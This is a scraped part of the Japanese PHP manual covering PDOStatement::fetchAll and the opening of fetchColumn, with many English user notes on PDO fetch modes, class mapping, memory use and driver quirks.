What is even worse is that PDO::prepare will NOT throw an Exception when it fails to prepare the query, even when the error mode is set to throw Exceptions, and will instead return a Boolean False!

Not only do I consider this a poor design choice, but also its a real shame that this is not documented anywhere in the manual -- in fact the manual is not clear on what Attributes are supported by which drivers and which are not so developers are left to play a classic game of guess.

I hope this saves some developers some headaches.

Good Luck,
lod 16-Jul-2008 09:33
A quick one liner to get the first entry returned.  This is nice for very basic queries.

<?php
$count = current($db->query("select count(*) from table")->fetch());
?>php
lozitskiys at gmail dot com 09-Jul-2008 05:21
I spent some hours trying to find out how to manipulate with BLOB fields using PDO.

Remember that you can't retreive BLOB data using something like this :

<?php
$sql = 'SELECT * FROM sometable LIMIT 1';
$stmt = $dbh->prepare($sql);
$stmt->execute();
$stmt->setAttribute(PDO::FETCH_ASSOC);
$row = $stmt->fetch();

$myFile = $row['file'];
?>

Instead of this you should try following approach:

<?php
$sql = "SELECT mime, file FROM sometable LIMIT 1";
$stmt = $dbh->prepare($sql);
$stmt->execute();

$stmt->bindColumn(1, $mime,);
$stmt->bindColumn(2, $file, PDO::PARAM_LOB);

$stmt->fetch();

header('Content-type: '.$mime);
print $file;

?>
josh 29-Apr-2008 12:02
Note that PDO::ATTR_STRINGIFY_FETCHES will NOT work for the MySQL driver. MySQL will always return strings because that is the behaviour of the core mysql PHP extension. See http://bugs.php.net/bug.php?id=44341
Gerard van Beek 28-Oct-2007 01:42
If you to use a new instance of a class for a record you can use:

<?php
include_once("user.class");
$sth = $db->prepare("SELECT * FROM user WHERE id = 1");

/* create instance automatically */
$sth->setFetchMode( PDO::FETCH_CLASS, 'user');
$sth->execute();
$user = $sth->fetch( PDO::FETCH_CLASS );
$sth->closeCursor();
print ($user->id);

/* or create an instance yourself and use it */
$user= new user();
$sth->setFetchMode( PDO::FETCH_INTO, $user);
$sth->execute();
$user= $sth->fetch( PDO::FETCH_INTO );
$sth->closeCursor();
print ($user->id);
?>
BaBna 16-Aug-2007 12:52
When you do a SELECT query for one row, and want to check if it's there, you don't need to count the fetchAll() result, you can just check if $result->fetch() is true:
<?php
$bbnq = sprintf("SELECT login
FROM users
WHERE id = %u",27);
try
    { $req = $db_bbn->query($bbnq); }
catch (Exception $e)
    { bbnf_pdo_error($e,__FILE__,__LINE__); }
if ( $r = $req->fetch() )
    { echo "This query has a row result"; }
else
    { echo "This query has an empty result"; }
?>
marcini 02-Apr-2007 04:41
Be careful with fetch() when you use prepared statements and MySQL (I don`t know how it is with other databases). Fetch won`t close cursor and won`t let you send any other query, even if your result set has only one row, .
If you use $statement->fetch(), you will also have to use $statement->closeCursor() afterwards, to be albe to execute another query.
Alternatively you can use $statement->fetchAll() without $statement->closeCursor().
terry at bitsoup dot com 02-Mar-2006 12:46
WARNING:
fetch() does NOT adhere to SQL-92 SQLSTATE standard when dealing with empty datasets.

Instead of setting the errorcode class to 20 to indicate "no data found", it returns a class of 00 indicating success, and returns NULL to the caller.

This also prevents the exception mechainsm from firing.

Programmers will need to explicitly code tests for empty resultsets after any fetch*() instead of relying on the default behavior of the RDBMS.

I tried logging this as a bug, but it was dismissed as "working as intended". Just a head's up.
avinoamr at gmail dot com 19-Jan-2006 02:48
Note that using the FETCH_CLASS mechanism does NOT trigger the class's constructor! You must explicity instantiate the class to use it's constructor behavior.
fh at ez dot no 25-Nov-2005 12:13
I can also add that the constructor is run _after_ the data is set on the object if yo use PDO::FETCH_CLASS.
fh at ez dot no 24-Nov-2005 11:58
If you want to use PDO::FETCH_CLASS you need to set it up with setFetchMode first like so:
        $stmt->setFetchMode( PDO::FETCH_CLASS, 'classType', array( 'parameters to constructor' );
        $object = $stmt->fetch( PDO::FETCH_CLASS );
If you ommit this PHP will segfault.
aledmb at gmail dot com 21-Oct-2005 10:22
note that fetch constants are not included in the PDO class for PHP versions prior to 5.1


全ての結果行を含む配列を返す

  • ≪ PDOStatement::fetch
  • PDOStatement::fetchColumn ≫
  • PHP Manual
  • PDOStatement
  • 全ての結果行を含む配列を返す

PDOStatement::fetchAll

(PHP 5 >= 5.1.0, PHP 7, PECL pdo >= 0.1.0)

PDOStatement::fetchAll — 全ての結果行を含む配列を返す

説明

public PDOStatement::fetchAll ( int $fetch_style = ? , mixed $fetch_argument = ? , array $ctor_args = array() ) : array|false

パラメータ

fetch_style

PDOStatement::fetch() に文章化されているような 返される配列の内容を制御します。 デフォルトは PDO::ATTR_DEFAULT_FETCH_MODE の値 (そのデフォルトは PDO::FETCH_BOTH) です。

結果セットから単一カラムの全ての値を含む配列を返す場合、 PDO::FETCH_COLUMN を指定します。 fetch_argument パラメータにどのカラムを返すかを 指定することができます。

結果セットから単一カラムの一意な値のみ取得する場合、 PDO::FETCH_UNIQUE をビット OR した PDO::FETCH_COLUMN を指定します。

指定したカラムの値によってグループ化した連想配列を返す場合、 PDO::FETCH_GROUP をビット OR した PDO::FETCH_COLUMN を指定します。

fetch_argument

この引数は、fetch_style の値によって意味が異なります。

  • PDO::FETCH_COLUMN: ここで指定した、 0 から始まる番号のカラムを返します。

  • PDO::FETCH_CLASS: ここで指定したクラスのインスタンスを返します。各行のカラムがクラスのプロパティ名にマッピングされます。

  • PDO::FETCH_FUNC: ここで指定した関数をコールした結果を返します。各行のカラムを関数コール時のパラメータとします。

ctor_args

fetch_style が PDO::FETCH_CLASS のときに使う、独自のクラスコンストラクタへの引数。

返り値

PDOStatement::fetchAll() は、 結果セットに残っている全ての行を含む配列を返します。 この配列は、カラム値の配列もしくは各カラム名に対応するプロパティを持つオブジェクトとして各行を表します。 取得結果がゼロ件だった場合は空の配列を返し、 失敗した場合は false を返します。

大きな結果セットをフェッチするためにこのメソッドを使用することは、 システムとネットワークリソースに大量の要求を行うことになります。 PHP で全てのデータ処理と操作を行うよりも、データベースサーバー側で 結果セットを操作することを検討してください。例えば、PHP で処理を行う前に SQL で WHERE 句や ORDER BY 句を使用し、結果を制限することです。

例

例1 結果セットに残っている全ての行をフェッチする

<?php
$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

/* 結果セットに残っている全ての行をフェッチする */
print("Fetch all of the remaining rows in the result set:\n");
$result = $sth->fetchAll();
print_r($result);
?>

上の例の出力は、 たとえば以下のようになります。

Fetch all of the remaining rows in the result set:
Array
(
    [0] => Array
        (
            [name] => apple
            [0] => apple
            [colour] => red
            [1] => red
        )

    [1] => Array
        (
            [name] => pear
            [0] => pear
            [colour] => green
            [1] => green
        )

    [2] => Array
        (
            [name] => watermelon
            [0] => watermelon
            [colour] => pink
            [1] => pink
        )

)

例2 結果セットから単一カラムの全ての値を取得する

以下の例は、 SQL ステートメント自身が行毎に複数のカラムを返す場合において、 どのように結果セットから単一カラムの全ての値を取得するかを 例示しています。

<?php
$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

/* 最初のカラムの全ての値を取得する */
$result = $sth->fetchAll(PDO::FETCH_COLUMN, 0);
var_dump($result);
?>

上の例の出力は、 たとえば以下のようになります。

Array(3)
(
    [0] =>
    string(5) => apple
    [1] =>
    string(4) => pear
    [2] =>
    string(10) => watermelon
)

例3 単一カラムによる全ての値のグループ化

以下の例は、どのように結果セット中の特定のカラムの値によって グループ化された連想配列を返すかを例示しています。 その配列は 3 つのキーを有します。値 apple、 pear は異なる 2 つの異なる色を有する配列として返され、 一方 watermelon は 1 つの色のみ有する配列として返されます。

<?php
$insert = $dbh->prepare("INSERT INTO fruit(name, colour) VALUES (?, ?)");
$insert->execute(array('apple', 'green'));
$insert->execute(array('pear', 'yellow'));

$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

/* 最初のカラムの値によってグループ化する */
var_dump($sth->fetchAll(PDO::FETCH_COLUMN|PDO::FETCH_GROUP));
?>

上の例の出力は、 たとえば以下のようになります。

array(3) {
  ["apple"]=>
  array(2) {
    [0]=>
    string(5) "green"
    [1]=>
    string(3) "red"
  }
  ["pear"]=>
  array(2) {
    [0]=>
    string(5) "green"
    [1]=>
    string(6) "yellow"
  }
  ["watermelon"]=>
  array(1) {
    [0]=>
    string(5) "pink"
  }
}

例4 各結果用のクラスのインスタンス作成

次の例は、 PDO::FETCH_CLASS の振る舞いを示すものです。

<?php
class fruit {
    public $name;
    public $colour;
}

$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

$result = $sth->fetchAll(PDO::FETCH_CLASS, "fruit");
var_dump($result);
?>

上の例の出力は、 たとえば以下のようになります。

array(3) {
  [0]=>
  object(fruit)#1 (2) {
    ["name"]=>
    string(5) "apple"
    ["colour"]=>
    string(5) "green"
  }
  [1]=>
  object(fruit)#2 (2) {
    ["name"]=>
    string(4) "pear"
    ["colour"]=>
    string(6) "yellow"
  }
  [2]=>
  object(fruit)#3 (2) {
    ["name"]=>
    string(10) "watermelon"
    ["colour"]=>
    string(4) "pink"
  }
  [3]=>
  object(fruit)#4 (2) {
    ["name"]=>
    string(5) "apple"
    ["colour"]=>
    string(3) "red"
  }
  [4]=>
  object(fruit)#5 (2) {
    ["name"]=>
    string(4) "pear"
    ["colour"]=>
    string(5) "green"
  }
}

例5 各結果に対する関数コール

次の例は、 PDO::FETCH_FUNC の振る舞いを示すものです。

<?php
function fruit($name, $colour) {
    return "{$name}: {$colour}";
}

$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

$result = $sth->fetchAll(PDO::FETCH_FUNC, "fruit");
var_dump($result);
?>

上の例の出力は、 たとえば以下のようになります。

array(3) {
  [0]=>
  string(12) "apple: green"
  [1]=>
  string(12) "pear: yellow"
  [2]=>
  string(16) "watermelon: pink"
  [3]=>
  string(10) "apple: red"
  [4]=>
  string(11) "pear: green"
}

参考

  • PDO::query() - SQL ステートメントを実行し、結果セットを PDOStatement オブジェクトとして返す
  • PDOStatement::fetch() - 結果セットから次の行を取得する
  • PDOStatement::fetchColumn() - 結果セットの次行から単一カラムを返す
  • PDO::prepare() - 文を実行する準備を行い、文オブジェクトを返す
  • PDOStatement::setFetchMode() - この文に対するデフォルトのフェッチモードを設定する

User Contributed Notes

herhor67 at interia dot pl 12-Dec-2020 10:00
I noticed quite a weird (at least for me) behaviour. Maybe it can help someone who will struggle with this too.

<?php
$stmt = new PDOStatement();
$foo  = $stmt->fetchAll();
var_dump($foo);

$stmt = $pdo->prepare('SELECT VERSION()');
$foo  = $stmt->fetchAll();
var_dump($foo);

$stmt = $pdo->prepare("INSERT INTO `tblnm` (date) VALUES (NOW())");
$stmt->execute();
$foo  = $stmt->fetchAll();
var_dump($foo);

$stmt = $pdo->query("INSERT INTO `tblnm` (date) VALUES (NOW())");
$foo  = $stmt->fetchAll();
var_dump($foo);
?>

The first is just an empty object, so $foo === bool(false)
The second one is not executed, so $foo === array(0) {}
The third and fourth throw exception at fetchAll():
"General error: 2014 Cannot execute queries while other unbuffered queries are active. Consider using PDOStatement::fetchAll(). Alternatively, [...] you may enable query buffering by setting the PDO::MYSQL_ATTR_USE_BUFFERED_QUERY attribute."

fetchAll() is already used, and changing the above attribute between true and false changes nothing.
This is probably caused by the INSERT not having any return value. We could use RETURNING in the sql, but it's quite new, so may not yet be supported everywhere.

What finally worked for me, was $pdo->exec() and lastInsertId(), because ID is the only column I needed anyway.
<?php
$count = $pdo->exec('INSERT INTO `tblnm` (date) VALUES (NOW())');
$foo = $pdo->lastInsertId();
var_dump($foo);
?>
Then e.g. $foo === string(2) "93"
geompse at gmail dot com 02-Dec-2020 10:28
There is a breaking change upgrading from PHP<7.4 to PHP 8.0. If your class extend PDOStatement, the PHP 8.0 typed prototype is incompatible :
- PHP 7.4 = public PDOStatement::fetchAll ([ int $fetch_style [, mixed $fetch_argument [, array $ctor_args = array() ]]] ) : array
- PHP 8.0 = public PDOStatement::fetchAll ([ int $mode = PDO::FETCH_BOTH[, mixed ...$args] ]) : array

While they are compatible for a human being, PHP is not enjoying it :
- PHP 7.4 = PHP Warning: Declaration of (your class prototype) should be compatible with (PDOStatement's prototype)
- PHP 8.0 = [PhpCompileError] Declaration of (your class prototype) must be comptable with (PDOStatement's prototype)

Because the first one is a warning, it is not fatal, and you might be happy using PHP 8.0's prototype. My personal solution was to stop extending PDOStatement and thus rewrite associated typing declarations and conditions.
Leonardo Costa linux at linuxmanbr dot com dot br 05-Aug-2019 09:08
Method with Return object (PHP 7.2)

class MySql {

public function __construct()
        {
            parent::__construct();

            try{

                $options = array
                (
                    PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES UTF8"
                );

                $this->pdo = new PDO('mysql:host=127.0.0.1;dbname=testuser','dbtest', 'xxxxxxx',$options);
                $this->pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

            }catch(PDOException $e) {
                print "Error!: " . $e->getMessage() . "<br/>";
                die();
            }
        }

        public function selectAll(string $sql)
        {
            $conn = $this->pdo->query($sql);
            return $conn->fetchAll(PDO::FETCH_OBJ);
        }
}
sidi dot khalifa at live dot fr 19-Jun-2019 09:02
Inject the parameters directly into `fetchAll` instead of using `bindValue`

$query  = "
            SELECT
                    a.total_paid_tax_incl AS prize,
                    a.date_add AS date_add
            FROM orders a
            WHERE a.order_id = :seventeen
                   AND a.name = :name";

// connection (Example in Symfony you use class Connection in namespace Doctrine\DBAL\Connection)
$this->connection->fetchAll($query, ['seventeen' => 70, 'name' => 'Sidi'])
rudigerw at hotmail dot com 26-Apr-2018 09:36
I was blown away that you can actually combine PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE | PDO::FETCH_UNIQUE, because both PDO::FETCH_CLASSTYPE and PDO::FETCH_UNIQUE say they will use the first column, but it turns out PDO::FETCH_CLASSTYPE goes first and then PDO::FETCH_UNIQUE will use the next column. This way you can create an associative array of objects, with one of the table columns as key. For example a query such as

 'SELECT Class, Id, t.* FROM subscriptions_tbl t'

might give you this result:

Array
(
    [20481086] => WConsumerSubscription Object
        (
            [Variant] => 2
            [_Expiration:WSubscriptionModel:private] => DateTime Object
                (
                    [date] => 2018-08-08 00:00:00.000000
                    [timezone_type] => 3
                    [timezone] => UTC
                )

            [Notes] =>
            [Id] => 20481086
            [_Deleted:protected] => 0
            [_VersionNo:protected] => 2
            [ContactId] =>
            [ConsumerId] => 2
        )

    [21878324] => WAdminSubscription Object
        (
            [Variant] =>
            [_Expiration:WSubscriptionModel:private] =>
            [Notes] =>
            [Id] => 21878324
            [_Deleted:protected] => 0
            [_VersionNo:protected] => 1
            [ContactId] =>
        )
)
lu_kors 22-Jan-2018 08:45
You might find yourself wanting to use FETCH_GROUP and FETCH_ASSOC at the same time, to get your table's primary key as the array key - use FETCH_UNIQUE also, or you will probably get some unintended behaivor:
<?php
// $stmt is some query like "SELECT rowid, username, comment"

//with unique
$results = $stmt->fetchAll(PDO::FETCH_GROUP|PDO::FETCH_ASSOC|PDO::FETCH_UNIQUE);
$results = array(
    1234 => array('username' => 'abc', 'comment' => '[...]'),
    1235 => array('username' => 'def', 'comment' => '[...]'),
);
//without unique
$results = $stmt->fetchAll(PDO::FETCH_GROUP|PDO::FETCH_ASSOC);
// It does work, but not as you might expect:
$results = array(
    1234 => array(0 => array('username' => 'abc', 'comment' => '[...]')),
    1235 => array(0 => array('username' => 'def', 'comment' => '[...]')),
);
?>
Credit to Ant P. for minimal Example (which i shamelessly copied from the note above me). Thanks a lot!
Anonymous 14-Feb-2017 11:24
Be careful when using PDO::FETCH_COLUMN with PDO::FETCH_GROUP. By default, results are grouped by first column (index 0) and second column (index 1) is returned. But, if you provide fetch argument, it wouldn't affect returned column, but grouping column. If grouping column is set explicitly , first columns is returned instead of second.

<?php
$insert = $dbh->prepare("INSERT INTO people(id, gender) VALUES (?, ?)");
$insert->execute(array('2', 'female'));
$insert->execute(array('3', 'female'));
$insert->execute(array('4', 'female'));
$insert->execute(array('5', 'male'));
$insert->execute(array('6', 'male'));

$sth = $dbh->prepare("SELECT gender, id FROM people");
$sth->execute();

/* Group values by the first column */
var_dump($sth->fetchAll(PDO::FETCH_COLUMN|PDO::FETCH_GROUP));
?>
Returns:
<?php
array (size=2)
  'female' =>
    array (size=3)
      0 => string '2' (length=1)
      1 => string '3' (length=1)
      2 => string '4' (length=1)
  'male' =>
    array (size=2)
      0 => string '5' (length=1)
      1 => string '6' (length=1)
?>

But,
<?php
var_dump($sth->fetchAll(PDO::FETCH_COLUMN|PDO::FETCH_GROUP, 0));
?>
returns:
<?php
array (size=2)
  'female' =>
    array (size=3)
      0 => string 'female' (length=1)
      1 => string 'female' (length=1)
      2 => string 'female' (length=1)
  'male' =>
    array (size=2)
      0 => string 'male' (length=1)
      1 => string 'male' (length=1)
?>
and
<?php
var_dump($sth->fetchAll(PDO::FETCH_COLUMN|PDO::FETCH_GROUP, 1));
?>
returns
<?php
array (size=5)
  2 =>
    array (size=1)
      0 => string 'female' (length=1)
  3 =>
    array (size=1)
      0 => string 'female' (length=1)
  4 =>
    array (size=1)
      0 => string 'female' (length=1)
  5 =>
    array (size=1)
      0 => string 'male' (length=1)
  6 =>
    array (size=1)
      0 => string 'male' (length=1)
?>

First column is retuned and grouping is done by provided column index.
simplerezo at gmail dot com 24-Jan-2017 02:52
I still don't understand why FETCH_KEY_PAIR is not documented here (http://php.net/manual/fr/pdo.constants.php), because it could be very useful!

<?php
  var_dump($pdo->query('select id, name from table')->fetchAll(PDO::FETCH_KEY_PAIR));
?>

This will display:
array(2) {
  [2]=>
  string(10) "name2"
  [5]=>
  string(10) "name5"
}
jeroen dot deklerk at hotmail dot com 16-Nov-2016 11:47
I was having trouble with returning PDO query results in arrays, due to the structure of the results of those queries (query array with arrays for results inside). Now when executing a fetchAll() on a query you get the following:

Array ( [0] = Array ( [key1] => "value1", [key2] => "value2") [1] = Array( [key1] => "value1", [key2] => "value2") )

This is a smaller array, but return results in a HUGE database this way and it quickly becomes IMPPOSIBRU to read out the array given.

This is where the glorious foreach comes in! We all know the basic writing of a foreach (foreach ($array as $key => $value) {...}), but with query results there's a twist, as both the $key AND $value variables are arrays, where $key is the array of the query containing the result arrays and $value is/are the result array(s) themselves.

So in this foreach we have to talk directly to $value to get our results! This would look something like this:

<?php

  foreach ($query as $key => $value) {
      return $value["key2"];
  }

?>

This already does the job, but to return them in arrays we have to change our return code a little bit, like so:

<?php

   foreach ($query as $key => $value) {
      return array (
             "key1" => $value["key1"],
             "key2" => $value["key2"]
      );
   }

?>

This foreach loops through the query array, just like the firs one, but the return code just doesn't return the keys representing the result arrays ($key) and returns only keys from inside the result arrays,  stored in $value. This gives us an array looking like this:

Array ( [key1] => "value1", [key2] => "value2")

This should return all the values in your array, if written properly. I'm still having problems with the foreach not returning ALL results, but this note was mainly to show how it can be returned in an array.
Dean S. 30-Oct-2015 08:38
Using fetchAll() with the fetch types PDO::FETCH_GROUP and PDO::FETCH_ASSOC, PDO::FETCH_CLASS will always use the first column in the selected table as the key for the row in the output...
info at yuriblanc dot it 14-Sep-2015 12:48
Something missing in the doc.
If for instance you try to fetchAll(PDO::CLASS, "Class") it sometimes return an array of objects with NULL values, but the count of objects fetched correspond to table rows.

In this way works fine:
fetchAll(PDO::FETCH_CLASS | PDO::FETCH_PROPS_LATE, "Class");

For example

$stm = $pdo->prepare("SELECT * FROM Fruit");
$stm->execute();
$stm->fetchAll(PDO::FETCH_CLASS | PDO::FETCH_PROPS_LATE, "Fruit");
akira at etnforum dot com 13-Mar-2015 07:41
There may be some user who needs to upgrade their MySQL class to PDO class. The way of fetching results were changed from while loop into a foreach loop. For the people who wish to fetch the results in a while loop, here is a simple trick.

<?php

$db = new DB();
$query = $db->prepare("SELECT * FROM CPUCategory");
$query = $db->execute();
$result = $db->fetchAll();
var_dump($result);

?>

The Output will be:
array(2) {
    [0]=> array(2) {
        ["ccatid"]=> int(1)
        ["ccatname"]=> string(5) "Intel"
    }
    [1]=> array(2) {
        ["ccatid"]=> int(2)
        ["ccatname"]=> string(3) "AMD"
    }
}

Never look like the output of old function.
[ORIGINAL STYLE] mysql_fetch_array($query)
[   MYSQL CLASS] $db->fetch_array($query)

And you may give up.
But there is a simple way to use while loop to fetch the results.

<?php

$db = new DB();
$query = $db->prepare("SELECT * FROM CPUCategory");
$query = $db->execute();
$result = $db->fetchAll();
$row = array_shift($result);
// If you need to fetch them now, put it in a while loop just like below:
// while($row = array_shift($result)) { ... }

var_dump($row);

?>

The Output will be in a single array with while loop returns TRUE:
array(2) {
    ["ccatid"]=> int(1)
    ["ccatname"]=> string(5) "Intel"
}

So after fetching this row, while loop runs again and fetch the next row until all row has fetched, then the while loop will return false. (Just like the old function did)

When you need to upgrade to PDO class, not much code needs to be modified and remember.
dyukemedia at gmail dot com 16-Dec-2014 12:15
Getting foreach to play nicely with some data from PDO FetchAll()
I was not understanding to use the $value part of the foreach properly, I hope this helps someone else.
Example:
<?php
$stmt = $this->db->prepare('SELECT title, FMarticle_id FROM articles WHERE domain_name =:domain_name');
            $stmt->bindValue(':domain_name', $domain);
            $stmt->execute();
            $article_list = $stmt->fetchAll(PDO::FETCH_ASSOC);
?>
which gives:

array (size=2)
  0 =>
    array (size=2)
      'title' => string 'About Cats Really Long title for the article' (length=44)
      'FMarticle_id' => string '7CAEBB15-6784-3A41-909A-1B6D12667499' (length=36)
  1 =>
    array (size=2)
      'title' => string 'another cat story' (length=17)
      'FMarticle_id' => string '0BB86A06-2A79-3145-8A02-ECF6EA5C405C' (length=36)

Then use:
<?php
foreach ($article_list as $row => $link) {
  echo  '<a href="'.  $link['FMarticle_id'].'">' . $link['title']. '</a></br>';
  }
?>
janniet at kiekies dot net 27-Oct-2014 02:30
If you want to fetch rows as an object for which you have not defined a class, you can do:
<?php
$result = $q->fetchAll(PDO::FETCH_OBJ);
?>
fractalesque at gmail dot com 09-Jun-2014 04:05
to fetch rows grouped by primary id or any other field you may use FETCH_GROUP with FETCH_UNIQUE:

<?php

//prepare and execute a statement returning multiple rows, on a single one
$stmt = $db->prepare('SELECT id,name,role FROM table');
$stmt->execute();
var_dump($stmt->fetchAll(PDO::FETCH_GROUP | PDO::FETCH_UNIQUE));

//returns an array with the first selected field as key containing associative arrays with the row. This mode takes care not to repeat the key in corresponding grouped array.

$result = array
 (1 => array
   ('name'=>'foo',
    'role'=>'sage',),
  2 => array
   ('name'=>'bar',
    'role'=>'rage',),);

// 'SELECT name,id,role FROM table' would result in that:

$result = array
 ('foo' => array
   ('id'=>1,
    'role'=>'sage',),
  'bar' => array
   ('id'=>2,
    'role'=>'rage',),);

?>
GyoreG 05-Jun-2014 09:14
If you would like to get the result as "key-value-pairs", like:

Array(
    [key1] => "value1"
    [key2] => "value2"
)

then you can do it by calling fetchAll with PDO::FETCH_GROUP | PDO::FETCH_COLUMN parameters.

<?php
  $result = $query->fetchAll(PDO::FETCH_GROUP|PDO::FETCH_COLUMN);
?>
michael dot arnauts at gmail dot com 29-Jan-2014 03:59
If you want to use PDO::FETCH_CLASS but don't like that all the values are of the type string, you can always use the __construct function of the class specified to convert them to a different type.

Another way is using mysqlnd, but it seems I had to recompile PHP for that.

<?php

class Cdr {
    public $a; // int
    public $b; // float
    public $c; // string

    public function __construct() {
        $this->a = intval($this->a);
        $this->b = floatval($this->b);
    }

}

// ...
$arrCdrs = $objSqlStatement->fetchAll(PDO::FETCH_CLASS, 'Cdr');

?>
ramon at monztro dot com 25-May-2012 04:18
If you are trying to call PDOStatement::fetchAll and is not getting the result set as expected (empty instead), check if you called PDOStatement::execute first.

Remember PDOStatement::fetchAll does not execute the query, it just mounts the array.

:)
Hayley Watson 04-Jul-2011 04:48
If you use the PDO::FETCH_CLASS | PDO::FETCH_PROPS_LATE flags to map columns to object properties, fetchAll() will use any __set() method your object has when carrying out the mapping.
Anonymous 25-Jun-2011 02:10
Note that fetchAll() can be extremely memory inefficient for large data sets. My memory limit was set to 160 MB this is what happened when I tried:

<?php
$arr = $stmt->fetchAll();
// Fatal error: Allowed memory size of 16777216 bytes exhausted
?>

If you are going to loop through the output array of fetchAll(), instead use fetch() to minimize memory usage as follows:

<?php
while ($arr = $stmt->fetch()) {
    echo round(memory_get_usage() / (1024*1024),3) .' MB<br />';
    // do_other_stuff();
}
// Last line for the same query shows only 28.973 MB usage
?>
Dennis 10-Jun-2010 08:51
Error:
SQLSTATE[HY000]: General error: 2014 Cannot execute queries while other unbuffered queries are active. Consider using PDOStatement::fetchAll(). Alternatively, if your code is only ever going to run against mysql, you may enable query buffering by setting the PDO::MYSQL_ATTR_USE_BUFFERED_QUERY attribute.

If you're using something like:

while ($row = $query->fetchObject()) {
    [...]
}

try using this instead:

$rows = $query->fetchAll(PDO::FETCH_CLASS, 'ArrayObject');

foreach ($rows as $row) {
    [...]
}
esw at pixeloution dot removeme dot com 18-May-2010 09:17
Interestingly enough, when you use fetchAll, the constructor for your object is called AFTER the properties are assigned. For example:

<?php
class person {
    public $name;

    function __construct() {
       $this->name = $this->name . " is my name.";
    }
}

# set up select from a database here with PDO
$obj = $STH->fetchALL(PDO::FETCH_CLASS, 'person');
?>

Will result in ' is my name' being appended to all the name columns. However if you call it slightly differently:

<?php
$obj = $obj = $STH->fetchAll(PDO::FETCH_CLASS | PDO::FETCH_PROPS_LATE, 'person');
?>

Then the constructor will be called before properties are assigned. I can't find this documented anywhere, so I thought it would be nice to add a note here.
mxrgus 23-Oct-2009 04:22
In method body:

return $pstmt->fetchAll() or die("bad");

will not return correct value, but "1" instead.
Daniel Hofmann 05-May-2009 12:21
PLEASE BE AWARE: If you do an OUTER LEFT JOIN and set PDO FetchALL to PDO::FETCH_ASSOC, any primary key you used in the OUTER LEFT JOIN will be set to a blank if there are no records returned in the JOIN.

For example:
<?php
//query the product table and join to the image table and return any images, if we have any, for each product
$sql = "SELECT * FROM product, image
LEFT OUTER JOIN image ON (product.product_id = image.product_id)";

$array = $stmt->fetchAll(PDO::FETCH_ASSOC);

print_r($array);
?>

The resulting array will look something like this:

Array
(
    [0] => Array
        (
            [product_id] =>
            [notes] => "this product..."
            [brand] => "Best Yet"
            ...

The fix is to simply specify your field names in the SELECT clause instead of using the * as a wild card, or, you can also specify the field in addition to the *. The following example returns the product_id field correctly:

<?php
$sql = "SELECT *, product.product_id FROM product, image
LEFT OUTER JOIN image ON (product.product_id = image.product_id)";

$array = $stmt->fetchAll(PDO::FETCH_ASSOC);

print_r($array);
?>

The resulting array will look something like this:

Array
(
    [0] => Array
        (
            [product_id] => 3
            [notes] => "this product..."
            [brand] => "Best Yet"
            ...
Ant P. 03-Feb-2009 06:37
You might find yourself wanting to use FETCH_GROUP and FETCH_ASSOC at the same time, to get your table's primary key as the array key:
<?php
// $stmt is some query like "SELECT rowid, username, comment"
$results = $stmt->fetchAll(PDO::FETCH_GROUP|PDO::FETCH_ASSOC);

// It does work, but not as you might expect:
$results = array(
    1234 => array(0 => array('username' => 'abc', 'comment' => '[...]')),
    1235 => array(0 => array('username' => 'def', 'comment' => '[...]')),
);

// ...but you can at least strip the useless numbered array out easily:
$results = array_map('reset', $results);
?>
davey at php dot net 02-Nov-2008 06:54
When passing PDO::FETCH_CLASS as the first argument, this method will accept the class name as the second option:

<?php
$query = $pdo->prepare($sql);

$result = $query->execute($values);

if ($result && $query->rowCount() > 0) {
    $records = $query->fetchAll(PDO::FETCH_CLASS, 'Some_Class');
    // $record is now an array of Some_Class objects
}
?>

- Davey
mrshelly at hotmail dot com 30-Oct-2008 07:27
PHP fetchAll Data From SQL Server 2005
if field's data type is varchar(nvarchar), only fetch 255 chars. but the "text" data type is ok.

so, notice! to change the 'varchar' or 'nvarchar' (length > 255) to 'text' data type..

hope to help u.

<?php

$user = 'sa';
$pass = 'pass';

$conn = new PDO('mssql:host=127.0.0.1; dbname=tempdb;', $user, $pass);

$mainSQL = "SELECT field_varchar, field_text FROM table1";
$sth = $conn->prepare($mainSQL);
$sth->setFetchMode(PDO::FETCH_ASSOC);
$sth->execute();
$retRows = $sth->fetchAll();
// the field_varchar field only to fetch 255 chars(max)
// the field_text is ok.

var_dump($retRows);

unset($sth); unset($conn);

?>
harlequin2 at gmx dot de 10-Jun-2008 05:01
There is also another fetch mode supported on Oracle and MSSQL:
PDO::FETCH_ASSOC

> fetches only column names and omits the numeric index.

If you would like to return all columns from an sql statement with column keys as table headers, it's as simple as this:

<?php
$dbh = new PDO("DS", "USERNAME", "PASSWORD");
$stmt = $dbh->prepare("SELECT * FROM tablename");
$stmt->execute();
$arrValues = $stmt->fetchAll(PDO::FETCH_ASSOC);
// open the table
print "<table wdith=\"100%\">\n";
print "<tr>\n";
// add the table headers
foreach ($arrValues[0] as $key => $useless){
    print "<th>$key</th>";
}
print "</tr>";
// display data
foreach ($arrValues as $row){
    print "<tr>";
    foreach ($row as $key => $val){
        print "<td>$val</td>";
    }
    print "</tr>\n";
}
// close the table
print "</table>\n";
?>
Anonymous 01-Jan-2008 11:13
If no rows have been returned, fetchAll returns an empty array.
stas at metalinfo dot ru 18-Oct-2006 06:37
Note, that you can use PDO::FETCH_COLUMN|PDO::FETCH_GROUP pair only while selecting two columns, not like DB_common::getAssoc(), when grouping is set to true.


結果セットの次行から単一カラムを返す

  • ≪ PDOStatement::fetchAll
  • PDOStatement::fetchObject ≫
  • PHP Manual
  • PDOStatement
  • 結果セットの次行から単一カラムを返す

PDOStatement::fetchColumn

(PHP 5 >= 5.1.0, PHP 7, PECL pdo >= 0.9.0)

PDOStatement::fetchColumn — 結果セットの次行から単一カラムを返す

説明

public PDOStatement::fetchColumn ( int $column_number = 0 ) : mixed

結果セットの次行から単一カラムを返します。 行がもうない場合には false を返します。

注意:

PDOStatement::fetchColumn() は、boolean のカラムを取得するときに使っていけません。 boolean 値としての false と、もう取得する行がない場合の false を区別できないからです。 かわりに PDOStatement::fetch() を使いましょう。

パラメータ

column_number

